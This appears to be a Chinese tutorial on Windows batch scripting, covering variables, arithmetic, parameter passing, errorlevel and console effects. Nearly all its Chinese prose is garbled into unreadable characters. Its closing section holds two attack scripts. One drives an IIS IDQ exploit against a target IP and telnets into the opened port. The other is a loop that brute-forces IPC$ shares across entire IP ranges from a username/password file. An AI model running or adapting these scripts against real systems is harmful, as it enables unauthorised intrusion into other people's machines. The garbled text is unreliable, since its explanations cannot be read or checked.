echo ·%~p0
echo ļ%~n0
echo չ%~x0
echo ļԣ%~a0
echo ޸ʱ䣺%~t0
echo ļС%~z0
pause
=========================================
е%0Ĳǰеȫ·ƵĻ%1-%9ֱĵ1-9£
===============================================
@echo off
set aa=C:\Windows\PPP\a.btx
call :deal aaa %aa% "c c" ddd eee
pause>nul
exit
:deal
echo %%0 = %0
echo %%1 = %1
echo %%2 = %2
echo %%3 = %3
echo %%4 = %4
echo %%5 = %5
===============================================
Уaa֮ǰǲģͨcallaaΪݸӺ:dealaaת˱%1%xʽӶԽַ䡣
%xxȡa-z A-ZʽԸϰһfor䣬forı%xʾģֱӽ䡣
[༭]ֵ
ֵ㹦ֻܹܽͼ㣬ԸС֣ͬʱֵķΧҲϵͳλĿǰΪ32λ˵ֵֵܴΧΪ0x80000000h~0x7FFFFFFFh-2147483648~+2147483647
ֵҪʹsetʽΪset /a expressionУexpressionʽʽCıʽȫһ¡setֵ֧ҲCһֻûˉһһsetֵ֧ȼ£
=========================================
() - 
! ~ - - һԪ߼ǡλǡȡ
* / % - ˡ̡ȡࣩ
+ - - ӡ
<< >> - ߼λһλһλ
& - λ롱
^ - λ족
| - λ
= *= /= %= += -= - ֵ
&= ^= |= <<= >>=
, - ʽָsetһδʽ
=========================================
֪ȡֵҪ%!ģset /a УֱñƼȡñֵ⣬setְ֧˽ƣǰ׺0ʮƣǰ׺ʮƣǰ׺0xֲ֧֮ͬļ㣬set /a a=123+0123+0x123㼰ʾΪʮơ
[༭]
ѧϰйһЩȽ顢ֱȽмֵһЩ֪ʶЩ֪ʶ󣬲õʵֵĹܣʹѺڰԵøӶ˶ʡ

һ

νʵϾCġ˼ıԷΪ࣬ϵͳϵͳûҪԶû
 1ϵͳ 
һЩɲϵͳȶõģκǳЩıΪϵͳϵͳкܶӲࡢϵͳࡢļ·ࡢϵͳʱȡҪ鿴еϵͳ´һcmdڣsetسɡԼȽϳõı£
ComputerName Ҽ ҵĵ---- ѡеġļơ
ComSpec cmd.exe·
HomeDrive ϵͳ̷һ㶼C̣ʶHomeDrive=C:
Path ִļĬ·ǳҪ⡭
ProgramFiles ϵͳProgram Files·һ㶼C:\Program FilesǰװʱĬϵİװ·
Prompt Իcmdʾıرûôù~
SystemDrive ϵͳĿ¼ķʵHomeDrive
SystemRoot ϵͳĿ¼·һ㶼C:\WINDOWS
TempTmp ļȿʹõʱĿ¼ĬC:\WINDOWS\TempTmpеĳʱĿ¼桰ʱдļһ£дʱļӦñóɾϧǣ󲿷ֵĳ򶼺ܽļռݵĿռԽԽȻҲʹǵϵͳඡԣҪ޸ĵʱʱʱļ
UserName ǰû½˻
UserProfile ǰûĿ¼һ㶼C:\Documents and Settings\%UserName%Ĭ£ǵĿ¼ġ桱ļУҵĵĿ¼ġMy DocumentsļСϻҵĵŶǷŵļˣҲǷŵCˣװϵͳʱҪCݵģϻҵĵĶȻͻGone with the Wind~һǱõϰߣҪļŵطǣ޸ĬãļжƵ
WinDir ϵͳ·ʵSystemRoot

û


дʱûҪԼı֮ΪûûCıڶñĳЧ
ûset壬зǳǳҪһӶʹsetΪʹƵߵļ֮һsetʹãοset /?̳Ҳںн⡣
 3 
ǰļڿ棬Ѿñֱñͨ"%""!"ȡֵУֻforظͬһθֵʱҪʹ"!"ʹ"!"ñʱҪȡӳٻ䡱ΪSetLocal EnableDelayedExpansionҪ˵ǣӳٻ䡱е"!"Ϊȡֵţʹ"^!"Ҳ"!"Ҫ"!"Ҫͣӳٻ䡱ΪSetLocal DisableDelayedExpansion




CƣڵúʱҪݲĲݷΪֱӺͼִݲķ
 1ֱӴ 
ֱӴݲʹcallʱʹκβӺֱӶ(ҲƸ)ı޸ġĲݷʽơ
ֱӴݲ
===============================================
@echo off
setlocal enabledelayedexpansion
set var=aCdehiM,?mnrstW y
echo %var%
call :deal
setlocal disabledelayedexpansion
set var=%var:?=!%
echo %var%
pause>nul
exit
:deal
set tm=!var!
set var=
for %%i in (6,3,11,11,16,15,1,4,11,5,12,13,9,0,12,7,15,14,5,10,2,16,18,8) do (
set var=!var!!tm:~%%i,1!
)
goto :eof
===============================================
Է֣ǰѱvarΪӺ:dealӺvarֵ޸ģӺغvarֵѾӺvar޸ĺֵˡ
Уʹ˱ڿǰ潲setlocal enabledelayedexpansionsetlocal disabledelayedexpansionǰ֤߱varforѭܹǵԸд֤ܹ߱ȷ"!"лʹsetsetַ˴һطʹgoto :eof൱CreturnRETӳ򷵻Ҫ˵ǣӺļĩβĻǿʡ仰ģ罫goto :eofɾǲκӰġ
 2Ӵ 
ӴݲʹcallʱӲcall {[:label][ChildBatch]} Parameter1 Parameter2 ... ParameterNC洫ݲĸʽơͬCԣеӺҪβΣҪָĸݹĲӺ%1~%9ʽʾģ%1~%9ֱʾݹĵ1~9
===============================================
@echo off
call :deal aaa bbb "c c" ddd eee
pause>nul
exit
:deal
echo %%0 = %0
echo %%1 = %1
echo %%2 = %2
echo %%3 = %3
echo %%4 = %4
echo %%5 = %5
===============================================
ͨӾͿĿ%nʾ÷баոҪ˫(")⣬ҲԿ%0ѾӺıˣǸļȫơ
 3 
ֲݷûģʽϣֱӴֱӶԭвʧԭֵӴͨ%nԭ˼򵥵ıݣͨԸǿ޶ԭơ⣬ʹ%nһǳĺôǿͨ%~*iǿ%~*iϸݲμfor /?
ԶߵĲ𣬿Ըʹִݷʽ
--1Ϊı̶ӺвҪбݵ£ʹֱӴݷ
--2ӺΪһͨõĳģ飬ӦڶԲͬĴΪıҪʱʹüӴݷ
ʹַʵʹϰ߽ѡ

ģֵ

Щִ֮󽫻᷵һĴֵ(errorlevel)ͨerrorlevelֵжִе״Cexit(num)numǴ롣
ȡֵerrorlevelķǣִ÷ֵerrorlevelecho %errorlevel%if %errorlevel%==1
errorlevel
===============================================
@echo off
reg add HKCU /v try /f>nul
reg delete HKCU /v try /f
if errorlevel 0 (echo ɾɹ) else (echo ɾʧܣ)
reg delete HKCU /v try /f
if %errorlevel%==0 (echo ɾɹ) else (echo ɾʧܣ)
pause>nul
===============================================
УڵһɹɾעµڶΪҲעʧܡͬʱҲerrorlevelʹ÷if errorlevel 0if %errorlevel%==0һġҲע⵽ˣ滹иЦ~O(_)O~ASCII㽲
һ£ɹִʱصerrorlevel0ʱ1ߵֵȻЩûзֵģҪע⡣
ţûǰиƵĶˣǾ||&&ˣžǸerrorlevelֵ߼жϵ~

壩û


ڿȻDOSΪʹüĪĹףWindowsʢеĽ죬ѾԶҾǸɫĴˡ΢ΪDOS⡰ᡱڽӽṩ˼Сǿûܡ
 1Ӵ 
ҪDIYĴڡʹcolormodemsg
--1ôڱɫɫby colorϸݲμcolor /?
--2ôڴСby "MODE CON [COLS=c] [LINES=n]"colsȣlines߶ȡ
--3GUIby msgϸݲμmsg /?
ӴDIY
===============================================
@echo off
set a=10
set b=0
:tex
set /a a+=3
set /a b+=1
mode con cols=%a% lines=%b%
if %a% lss 60 goto :tex
echo O(_)O ʥ O(_)O
set a=15,a6,2e,d0,34,8b,4f,9d,5e
for %%i in (%a%) do (
ping -n 2 127.1>nul
color %%i
)
for %%i in (%a%,%a%) do (
ping -n 1 127.1>nul
color %%i
)
>>ms.txt echo */. . . * .
>>ms.txt echo .\* . [] * __
>>ms.txt echo */ . ./\~~~~~~~~~~~~'\. ^|
>>ms.txt echo \* ,/,..,\,...........,\.
>>ms.txt echo ^|^| ..#    ^| 
>>ms.txt echo ^|^| ^&^&  '^|' o
>>ms.txt echo ^|^| ##
msg %username% /w /time:3600 <ms.txt
del ms.txt
pause
===============================================
 2 
Ǻǣǲע⵽ûţл˵ֱʵ ^_^
===============================================
@echo off
echo ׼˰
pause
cls
echo 
echo ôǺǣ̼~
pause
cls
mshta vbscript:createobject("sapi.spvoice").speak("Merry Christmas and Happy New Year!")(window.close)
pause
===============================================
˴ǵvbsķvbscript:createobject("sapi.spvoice").speak("Merry Christmas and Happy New Year!")
speak ܽ~
ʵȻttsװǿԽĵġ
 3 
ĹУθԤأǺǣֱӵͿԽˣţ̫Ұ~
--1ֱͣӰϵPause
--2ֹϼCtrl+CʱӦĲ̫

ASCII


ǰУѾʹùһASCIIˣҲǸЦASCIIͼλķţ׺ǵġ
cmdǿͨһַASCIIַCtrl+GCtrl+Nȣĸa-zӦASCII97-122ASCII26ַͨ룺סAltɣͨСASCIIʮֵɿAltɡ
[༭]ļӦ
ļǽһϵһ˳򼯺ΪһִеıļչΪBAT 
1 REM 
REM Ǹעһעģڳִеʱ򽫲ᱻʾִС 
REM ڿľע⣬һ佫ᱻִСԺн͵ݶREM REM档ע⡣ 
2 ECHO 
ECHO һҪOFF ON,һECHO messageʾһضϢ  
Echo off 
Rem ϴرջԼʾִе 
Echo Ϣ 
Rem ϴʾϢַ 
ִн 
C:\>ECHO.BAT 
Ϣ 
3 GOTO 
GOTO Ϊת˼ԡXXXһȻGOTO ֱִбź 
:LABEL 
REM ΪLABELıš 
DIR C:\ 
DIR D:\ 
GOTO LABEL 
REM ϳתLABELִС 
4CALL 
CALL ִйеһһִټִԭ 
2.BAT£ 
ECHO 2 
1.BAT£ 
ECHO 1 
CALL 2.BAT 
ECHO 12ȫʾ 
ִн£ 
C:\>1.BAT 
1 
2 
12ȫʾ 
5PAUSE 
PAUSE ֹͣϵͳִвʾݡ 
C:\> PAUSE 
밴 . . . 
6 IF 
IF ж䣬﷨ʽ£ 
IF [NOT] ERRORLEVEL number command 
IF [NOT] string1==string2 command 
IF [NOT] EXIST filename command 
˵ 
[NOT] صĽȡֵûС˼ 
ERRORLEVEL ִɺ󷵻ص˳ֵ 
Number ˳ֵȡֵΧ0~255жʱֵ˳ӦִСصֵڻֵָʱ 
string1==string2 string1string2ΪַݣӢַĴСдͬеĵںű2ȣȺִк command 
EXIST filename ΪļĿ¼ڵ˼ 
IF ERRORLEVELĳһ档ִIF ERRORLEVELжķֵ

if not EXIST iisidq.exe goto file /*ͬһ
if %1 == "" goto error /*ͬһ
ping %1 -n 1 | find "Received = 1" /*ͬһ
if errorlevel 1 goto error1 /*ͬһ
set b=%1 /*һb,%1ݴݸbbԺĿip
set a=0 /*һaָaΪ0ʹѭa
:no /*noοʼ
if %a%==0 set d=0 /*a=0򴴽d趨d=0
if %a%==1 set d=1 /*dʵǲϵͳʹ룬ü
if %a%==2 set d=2 /*䶯
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*ɺת־0
:1
echo ִе%d%!Ŀ%b%!ڳȺ......
:0 /*־0ʼ
IISIDQ %d% %b% 80 1 99 |find "good" /*ʽڽзַgoodʹɹŻַgood
if errorlevel 1 goto 1 /*ûgoodַûзͳ
/*ת־1Է
ping 127.0.0.1 -n 8 >nul /*pingԼ8൱ʱ8벻ʾִ
/*н
echo ִе%d%! /*Ĳϵͳ
telnet %b% 99 /*˿
echo. /*ʾһ
if %d%==14 goto error1 /*ϵͳΪ14תerror1ѭڣ
if %d%==13 set a=11 /*ʼüԲϵͳ¸ֵ
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*ֵתnoִ
:file /*¶ǳİʾ
echo IIsidq.exeûз!ļͱļͬһĿ¼!
goto exit
:error
echo !Ŀipʶ!ʹĸʽ!
echo idq [ĿIP]
goto exit
:error1
echo ûгɹ!ĿѾ޲˸©!
echo 밴ĸʽֹ!
echo iisidq [Ŀ] [ĿIP] [Ŀ˿] [ӷʽ] [˿]
echo telnet [Ŀip] [˿]
:exit /*ĳ
õѭպü־

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
Ϊ1ҿԿʹ4FORõġ÷ΪC:\>TEST.BAT 218 218سɵ1forȡʼֵ0Ϊ%%aȻȡ2forĳʼֵ0Ϊ%%bȡ3forĳʼֵ1Ϊ%%cһforǽuserpass.txtеĵһַΪ%%eڶַΪû%%fִ (ҰֵȥΪ123 ûΪ abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
ȻӿЩѻ˵̫򵥲̫岻ҰЩ޸ģļipc.batȤѿԼ޸ĺĳĲָʼָʼipķΧȻܻڼǿܼǿʲôزܲܳΪһµĹǾˡ
ѭ˵Ҫip滻鷳û취ҾͲдעˣҺúõĲοܿ쿴ġ˵òҪ˵ŶǸûʹκε߾̽Ⲣˣ򵥵ĸһɱǺܴġЩȫwin2000xp²ͨŵֻһļҾԲ󱨡ȱ̫
 